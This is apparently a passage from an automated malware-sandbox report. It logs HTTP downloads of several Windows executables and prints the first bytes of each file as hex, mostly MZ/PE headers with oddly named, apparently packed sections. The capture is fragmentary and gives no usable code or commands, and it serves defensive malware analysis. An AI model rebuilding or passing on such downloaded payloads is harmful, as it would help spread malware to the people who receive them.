00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:39:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:39:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:39:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:39:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Jul 2024 00:39:10 GMTContent-Type: application/octet-streamContent-Length: 1879040Last-Modified: Wed, 24 Jul 2024 00:04:15 GMTConnection: keep-aliveETag: "66a044ff-1cac00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 20 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 80 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 80 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 66 78 61 61 6a 76 71 00 a0 19 00 00 f0 30 00 00 94 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 68 6b 77 73 76 71 61 00 10 00 00 00 90 4a 00 00 04 00 00 00 86 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 8a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Jul 2024 00:39:12 GMTContent-Type: application/octet-streamContent-Length: 91648Last-Modified: Wed, 24 Jul 2024 00:03:39 GMTConnection: keep-aliveETag: "66a044db-16600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 f0 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 c2 d2 00 00 00 50 00 00 00 d4 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9d 33 00 00 00 30 01 00 00 34 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 17 00 00 00 70 01 00 00 12 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 0f 00 00 00 90 01 00 00 10 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Jul 2024 00:39:13 GMTContent-Type: application/octet-streamContent-Length: 1929728Last-Modified: Tue, 23 Jul 2024 12:15:17 GMTConnection: keep-aliveETag: "669f9ed5-1d7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2a cf 5e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 3e 8d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 57 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 57 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 68 65 64 6d 78 68 69 00 60 1a 00 00 00 32 00 00 5a 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 66 6c 76 67 72 66 64 00 10 00 00 00 60 4c 00 00 04 00 00 00 4c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 50 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 